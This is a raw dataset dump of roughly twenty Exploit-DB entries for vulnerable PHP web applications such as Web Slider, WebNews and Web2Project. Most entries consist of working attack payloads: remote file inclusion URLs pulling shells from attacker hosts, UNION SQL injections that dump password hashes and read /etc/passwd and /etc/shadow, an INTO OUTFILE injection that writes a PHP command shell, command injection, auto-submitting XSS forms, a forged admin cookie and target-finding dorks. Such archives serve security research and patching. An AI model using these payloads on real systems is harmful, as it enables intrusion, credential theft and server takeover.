deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30483
Description: Web News 1.1 - 'news.php?config[root_ordner]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25257/info
  
WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
WebNews 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/news.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id
Exploit-DB #35479
Description: Web Poll Pro 1.0.3 - 'error' HTML Injection
Type: webapps
Platform: php
Date: 2011-03-19
Author: Hector.x90

Exploit:
source: https://www.securityfocus.com/bid/46932/info

Web Poll Pro is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Web Poll Pro 1.0.3 is vulnerable; other versions may also be affected. 

<form action="http://host/poll/poll.php&page=edit" method="post" name="main">
<input type="hidden" name="poll" value="1">
<input type="hidden" name="error" value=&#039;description"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.main.submit();
</script>
Exploit-DB #36096
Description: Web Professional - 'default.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-31
Author: The_Exploited

Exploit:
source: https://www.securityfocus.com/bid/49399/info

Web Professional is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.examplecom/default.php?t=news&id=[SQL]
Exploit-DB #2318
Description: Web Server Creator 0.1 - 'l' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: Mehmet Ince

Exploit:
###########################################################

#Web Server Creator v0.1 (l) Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#URL: http://www.comscripts.com/jump.php?action=script&id=1082

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:   include $l;

############################################################

#Exploit:
http://www.site.com/[path]/news/include/customize.php?l=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA,  gültekin

############################################################

# milw0rm.com [2006-09-07]
Exploit-DB #31616
Description: Web Server Creator 0.1 - 'langfile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-04
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28631/info

Web Server Creator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Web Server Creator 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/Web_Server_Creator_path/news/include/createdb.php?langfile;=ZoRLu.txt?
Exploit-DB #11569
Description: Web Server Creator Web Portal 0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-24
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Web Server Creator - Web Portal v 0.1 Multi Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : http://www.comscripts.com/scripts/php.web-server-creator.1082.html                                                                                                                            
| # Dork     : All right reserved 2002-2003 (MSN/Web Server Creator)                                        
| # Tested on: windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)       
| # Bug      : Multi                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- Directory traversal (Windows)

http://127.0.0.1/1082_webserve-01/news/include/customize.php?l=../../../../../../../../boot.ini
  
 2- XSS 
 
 http://127.0.0.1/1082_webserve-01/index.php?pg=forum
  
 3- RFI
 
 http://localhost/1082_webserve-01/index.php?pg=[EV!L]
 
 http://localhost/1082_webserve-01/news/form.php?path=[EV!L]
 
================================   Dz-Ghost Team   ========================================
Greetz : 횙챠횕챠 횊찼횣횊횉횙 + 횣챠채 횉찼횊횗횕 + 횚찼횤챈찾 횉찼횣챠횕 K10 + K@MEL + 횣챠채 찾찼챠찼횋 + 횎횤채챠횦
-------------------------------------------------------------------------------------------
Exploit-DB #22044
Description: Web Server Creator Web Portal 0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-11-25
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6251/info

The Web Server Creator Web Portal is prone to an issue which may allow attackers to include arbitrary files from a remote server.

It is possible for remote attackers to influence the include path for the customize.php and index.php scripts. As a result, an attacker may cause an arbitrary PHP script to be included from an attacker-supplied source, which may result in execution of commands with the privileges of the webserver.

http://[target]/news/include/customize.php?l=http://[attacker]/file.txt
http://[target]/index.php?pg=http://[attacker]/badfile
Exploit-DB #3745
Description: Web Slider 0.6 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-15
Author: GoLd_M

Exploit:
# Web Slider 0.6(path)Remote File Inclusion Vulnerabilities
# D.Script: http://sourceforge.net/projects/webslider/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/index.php?path=Shell
# Exploit:[Path]/modules/pdf.php?path=Shell
# Exploit:[Path]/plugins/highlight.php?path=Shell
# Exploit:[Path]/include/modules.php?path=Shell
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-15]
Exploit-DB #31810
Description: Web Slider 0.6 - 'slide' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-20
Author: fahn zichler

Exploit:
source: https://www.securityfocus.com/bid/29296/info

Web Slider is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Web Slider 0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(CHAR(0x75,0x73,0x65,0x72,0x3A,0xD,0xA),username,0x3a,password),2,concat(database(),char(58),0x2020,version()),4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(user(),0x3a,password),null,concat(database(),0x2020,version()),4+from+mysql.user/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(0x6574632F[PII_REDACTED]64),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(CONCAT(CHAR(0x65),CHAR(0x74),CHAR(0x63),CHAR(0x2F),CHAR(0x70),CHAR(0x61),CHAR(0x73),CHAR(0x73),CHAR(0x77),CHAR(0x64))),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(0x6574632F[PII_REDACTED]64),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/passwd),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/shadow),50),2,0,4+from+users/*
Exploit-DB #5629
Description: Web Slider 0.6 - Insecure Cookie/Authentication Handling
Type: webapps
Platform: php
Date: 2008-05-15
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		 Web Slider <= 0.6 Insecure Cookie/Authentication Handling	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 15 MAY 2008
Script Download: http://sourceforge.net/projects/webslider/
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION:

Web Slider 1.6 (and prior), suffers from insecure cookie handling, when a admin logs in successfully a
cookie is created so admin doesnt have to login everypage, the bad thing is the coding is poor and the script
only checks to see if the cookie exists, it doesnt contain any password or anything.

so all we need to do is create a cookie so it makes us look like admin, the below javascript will do just that.



Exploit:

javascript:document.cookie = "admin=1; path=/";



NOTE/TIP: 

after pasting the above javascript code in your browser on a affected domain, you will be able to goto
"/admin.php" and access it as if you were a admin.

this should come to your attention how many web-developers are very bad coders. and leave massive
easy-to-fix holes like this in there scripts.

just remember when downloading a file of any kind to read through its source, and make sure its secure



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+		 Web Slider <= 0.6 Insecure Cookie/Authentication Handling	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15]
Exploit-DB #17708
Description: Web Solutions Wcs2u - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-22
Author: tempe_mendoan

Exploit:
[~]Title      				   : Web Solutions Wcs2u SQL Injection Vulnerability
[~]Vendor or Software Link:   		   : http://www.wcs2u.com/
[~]Author  			           : tempe_mendoan
[~]Contact  				   : failed404@gmail.com
[~]Google Dork				   : inurl:"gorengan tempe" intext:"Engineered by WCS2U.COM"
					
##############################################
 
===[ POC ]===
 
[»] http://website/index.php?id=[SQL]

[»] http://website/[path]/index.php?id=[SQL]

[»] http://website/[path]/view.php?id=[SQL] 

##############################################

Greats T0 :

./ And All My Friend 

Thanks :

./ kang r3m1ck atas ilmu tentang wordpress nya 
./ mas kaMz lan mas Farhatz suwun yo mas :D
./ Kang chaer yang selalu memberi semangat
./ AdeYonatan yang menemani buka puasa dengan tempe mendoan =))
./ Mas v3n0m yang menemani twitteran 
./ my Love Dyla semoga cepat sembuh ya :*
Exploit-DB #4482
Description: Web Template Management System 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2007-10-04
Author: bius

Exploit:
#############################Nyubicrew Community################################
#
#  deonixscripts (id) Remote Sql Injection
#
#  vendor : http://www.deonixscripts.com/
#  Demo : http://www.deonixscripts.com/demo/tplmgt13/
#
#################################################################################
#
#
#       Bug Found By :home_edition2001 a.k.a (bius) (31-08-2007)
#
#       contact: bius22@mac.com
#
#       Website : www.solpotcrew.org/adv/home_edition2001-adv-03.txt
#
################################################################################
#
#
#      Greetz: Nyubi aka solpot , Matdhule , S4M3K ,[DEVIL_MAY_CRY] , iFX , Scr3W_W0rM , 
#              nakkuta , bukan-diriku , POET , Th0nk , mbako_semprul , Fungky , airsoul
#              wong_edan , ^s0n_g0ku^ , aLiiF , sparta-x , dudut , xtremeshell , Bithedz
#              th3sn0wbr4in , ReAksi , X8 , junkiest , K1tk4t , masboi , saritem
#              x-ace , replacement_killer , LamerCrew , k1n9k0ng ,[K]ompoR_Meledu[K]
#              and all member #nyubicrew @ irc.mildnet.org
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "id" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by Remote Sql Injection

P.O.C :

http://localhost/index.php?action=readmore&id=-1%20union%20select%200,1,concat(email,0x3a,userid,0x3a,adminid),3%20from%20admin/*
http://localhost/index.php?action=readmore&id=-1%20union%20select%200,1,@@version,3/*

Google Dork : Powered by: deonixscripts.com

######################MY Special Girl JUST FOR U Ula#########################
######################################E.O.F##################################

# milw0rm.com [2007-10-04]
Exploit-DB #34746
Description: Web TV - 'chn' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43494/info

Web TV is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/web_tv_v3/?chn=1<script>alert[PII_REDACTED]62)</script>
Exploit-DB #39078
Description: Web Video Streamer - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-22
Author: Eric Sesterhenn

Exploit:
source: https://www.securityfocus.com/bid/65350/info

Web Video Streamer is prone to following multiple security vulnerabilities:

1. Multiple cross-site scripting vulnerabilities
2. A directory-traversal vulnerability
3. A command-injection vulnerability

A remote attacker can leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and gain access to sensitive information, which may aid in launching further attacks.

Web Video Streamer 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/webstreamer-master/player.php?name=drops.avi&file=drop.avi';ls>/tmp/foo;a'&type=video/mp4&t=[PII_REDACTED]
http://www.example.com/webstreamer-master/index.php?dir=../../../ XSS:
http://www.example.com/webstreamer-master/player.php?name=%3Cscript%3Ealert%281%29%3C/script%3Etest
http://www.example.com/webstreamer-master/index.php?dir=../../%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #29762
Description: Web Wiz Forums 8.05 - String Filtering SQL Injection
Type: webapps
Platform: php
Date: 2007-03-20
Author: Ivan Fratric

Exploit:
source: https://www.securityfocus.com/bid/23051/info


Web Wiz Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

This issue affects versions prior to 8.05a; other versions may also be affected.

<form method="post"
action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value="\"&#039; union
select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt)
from tblautauthorhor /*" >
<input type="submit" value="Go">
</form>
Exploit-DB #14848
Description: Web-Ideas Web Shop Standard - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-31
Author: Ariko-Security

Exploit:
  # Exploit Title: [SQL injection in web-ideas web shop standard]
# Date: [31.08.2010]
# Author: [Ariko-Security]
# Software Link: [ http://www.web-ideas.com.au/web-shop_standard]
# Version: [ALL]
# Tested on: [ALL]
# CVE : [n/a]

# Ariko-Security: Security Audits , Audyt bezpieczeństwa
# Advisory: 728/2010

============ { Ariko-Security - Advisory #2/8/2010 } =============

SQL injection in web-ideas web shop standard

Vendor's Description of Software:
# http://www.web-ideas.com.au/web-shop_standard

Dork:
# N/A

Application Info:
# Name: web-ideas web shop standard
# ALL versions

Vulnerability Info:
# Type: SQL injection

Time Table:
# 22/08/2010 - Vendor notified.

Fix:
# n/a

Input passed via the "page" parameter to index.php is not properly

sanitised before being used in a SQL query.

Input passed to the "ps_session" cookie parameter is not properly

sanitised before being used in a SQL query.


Solution:
# Input validation of page and ps_session parameters should be corrected.

Vulnerability:
# http://[site]/index.php?action=showgal&cat=5&page=[SQLi]
# http://[site]/index.php
# cookie: ps_session=[SQLi]

Credit:
# Discoverd By: Maciej Gojny / Ariko-Security 2010
# http://advisories.ariko-security.com/august/audyt_bezpieczenstwa_728.html

-- 
Ariko-Secuirty
Exploit-DB #4676
Description: Web-MeetMe 3.0.3 - 'play.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-11-29
Author: Evil.Man

Exploit:
/--------------------------------------------------------------------------\
|Web-MeetMe 3.0.3 (play.php) Remote File Disclosure Vulnerability          |
|Download Script :                                                         |
| http://sourceforge.net/project/showfiles.php?group_id=164788             |
|POC :                                                                     |
| Web-MeetMe_v3.0.3/play.php?roomNo=../../../../../../../../etc/passwd%00  |
| Web-MeetMe_v3.0.3/play.php?bookid=../../../../../../../../etc/passwd%00  |
|Discovered by : Evil.Man                                                  |
|Home Page : Tryag.Com/cc                                                  |
|Email : Evil.Man@windowslive.com                                          |
|Sp.Thanx To : GoLd_M [Mahmood_ali"Tryag.Com"] & Sniper-Sa.Com             |
\--------------------------------------------------------------------------/

# milw0rm.com [2007-11-29]
Exploit-DB #2419
Description: Web-News 1.6.3 - 'template.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-24
Author: Drago84

Exploit:
###### ToXiC #########################
#
#BuG FounD  by Drago84
#
#Application Affect: WebNews
#Source Code:
#http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?use_mirror=superb-west
#Problem:
# <?
#            include($content_page);
# ?>
#Solution : Declare $content_page
#Page Vulnerable : template.php

# Exempe Of ExPloit is:
#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC #########################

# milw0rm.com [2006-09-24]
Exploit-DB #2435
Description: Web//News 1.4 - 'parser.php' Remote File Inclusion (1)
Type: webapps
Platform: php
Date: 2006-09-26
Author: ThE-WoLf-KsA

Exploit:
#==============================================================================================
#webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit
#===============================================================================================
#
#Critical Level : Dangerous
#
#
#
#Version : v1.4
#
#================================================================================================
#Bug in : parse/parser.php
#
#Vlu Code :
#--------------------------------
#
#            require($WN_BASEDIR."/parse/parser.php");
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#htpp://sitename.com[scerpitPath]/parse/parser.php?WN_BASEDIR=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : ThE-WoLf-KsA
#
#Conatact : the-wolf-ksa[at]hotmail.com
#XP10_hackEr Team
#
#WWW.XP10.COM
==================================================================================================

vendor:
http://www.stylemotion.de/downloads-id1-web-news-1-4.html
/str0ke

# milw0rm.com [2006-09-26]
Exploit-DB #28720
Description: Web//News 1.4 - 'parser.php' Remote File Inclusion (2)
Type: webapps
Platform: php
Date: 2006-09-27
Author: ThE-WoLf-KsA

Exploit:
source: https://www.securityfocus.com/bid/20239/info

Web//News is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Web//News 1.4 and prior versions are vulnerable; other versions may also be affected.

htpp://www.example.com[scerpitPath]/parse/parser.php?WN_BASEDIR=http://SHELLURL.COM
Exploit-DB #17203
Description: Web2Project 2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-22
Author: AutoSec Tools

Exploit:
# ------------------------------------------------------------------------
# Software................Web2Project 2.3
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://forums.web2project.net/
# Discovery Date..........4/21/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A SQL injection vulnerability in Web2Project 2.3 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
# 
# 
# --PoC--

http://localhost/web2project-2.3/calendar.php?token='UNION/**/SELECT/**/CONCAT(char(60),char(63),char(112),char(104),char(112),char(32),char(115),char(121),char(115),char(116),char(101),char(109),char(40),char(36),char(95),char(71),char(69),char(84),char(91),char(39),char(67),char(77),char(68),char(39),char(93),char(41),char(59),char(32),char(63),char(62))/**/FROM/**/dual/**/INTO/**/OUTFILE'../../htdocs/shell.php'%23